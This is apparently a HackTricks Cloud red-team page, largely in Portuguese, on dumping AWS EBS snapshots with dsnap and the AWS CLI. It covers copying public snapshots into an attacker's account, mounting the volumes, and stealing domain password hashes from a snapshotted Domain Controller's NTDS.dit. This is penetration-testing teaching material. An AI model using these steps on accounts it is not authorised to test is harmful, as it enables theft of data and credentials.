AWS - EBS Snapshot Dump
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
Verificando um snapshot localmente
# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox
# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly
# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy
# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
Caution
Nota que
dsnapnĂŁo permitirĂĄ que vocĂȘ baixe snapshots pĂșblicos. Para contornar isso, vocĂȘ pode fazer uma cĂłpia do snapshot em sua conta pessoal e baixar isso:
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2
# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
Para mais informaçÔes sobre esta técnica, consulte a pesquisa original em https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/
VocĂȘ pode fazer isso com o Pacu usando o mĂłdulo ebs__download_snapshots
Verificando um snapshot no AWS
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
Monte-o em uma VM EC2 sob seu controle (tem que estar na mesma regiĂŁo que a cĂłpia do backup):
Passo 1: Um novo volume do seu tamanho e tipo preferidos deve ser criado acessando EC2 â> Volumes.
Para poder realizar esta ação, siga estes comandos:
- Crie um volume EBS para anexar Ă instĂąncia EC2.
- Certifique-se de que o volume EBS e a instĂąncia estĂŁo na mesma zona.
Passo 2: A opção âanexar volumeâ deve ser selecionada clicando com o botĂŁo direito no volume criado.
Passo 3: A instĂąncia na caixa de texto da instĂąncia deve ser selecionada.
Para poder realizar esta ação, use o seguinte comando:
- Anexe o volume EBS.
Passo 4: Faça login na instĂąncia EC2 e liste os discos disponĂveis usando o comando lsblk.
Passo 5: Verifique se o volume tem dados usando o comando sudo file -s /dev/xvdf.
Se a saĂda do comando acima mostrar â/dev/xvdf: dataâ, isso significa que o volume estĂĄ vazio.
Passo 6: Formate o volume para o sistema de arquivos ext4 usando o comando sudo mkfs -t ext4 /dev/xvdf. Alternativamente, vocĂȘ tambĂ©m pode usar o formato xfs usando o comando sudo mkfs -t xfs /dev/xvdf. Por favor, note que vocĂȘ deve usar ext4 ou xfs.
Passo 7: Crie um diretĂłrio de sua escolha para montar o novo volume ext4. Por exemplo, vocĂȘ pode usar o nome ânewvolumeâ.
Para poder realizar esta ação, use o comando sudo mkdir /newvolume.
Passo 8: Monte o volume no diretĂłrio ânewvolumeâ usando o comando sudo mount /dev/xvdf /newvolume/.
Passo 9: Mude o diretĂłrio para o diretĂłrio ânewvolumeâ e verifique o espaço em disco para validar a montagem do volume.
Para poder realizar esta ação, use os seguintes comandos:
- Mude o diretĂłrio para
/newvolume. - Verifique o espaço em disco usando o comando
df -h .. A saĂda deste comando deve mostrar o espaço livre no diretĂłrio ânewvolumeâ.
VocĂȘ pode fazer isso com Pacu usando o mĂłdulo ebs__explore_snapshots.
Verificando um snapshot na AWS (usando cli)
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>
# mount the snapshot from within the VM
sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'
sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63
lsblk /dev/xvdh
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvdh 202:112 0 8G 0 disk
ââxvdh1 202:113 0 7.9G 0 part
ââxvdh14 202:126 0 4M 0 part
ââxvdh15 202:127 0 106M 0 part
sudo mount /dev/xvdh1 /mnt
ls /mnt
Shadow Copy
Qualquer usuĂĄrio da AWS que possua a permissĂŁo EC2:CreateSnapshot pode roubar os hashes de todos os usuĂĄrios do domĂnio criando um snapshot do Controlador de DomĂnio, montando-o em uma instĂąncia que eles controlam e exportando o arquivo NTDS.dit e o hive de registro SYSTEM para uso com o projeto secretsdump do Impacket.
VocĂȘ pode usar esta ferramenta para automatizar o ataque: https://github.com/Static-Flow/CloudCopy ou vocĂȘ pode usar uma das tĂ©cnicas anteriores apĂłs criar um snapshot.
References
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do đŹ Discord group ou do telegram group ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

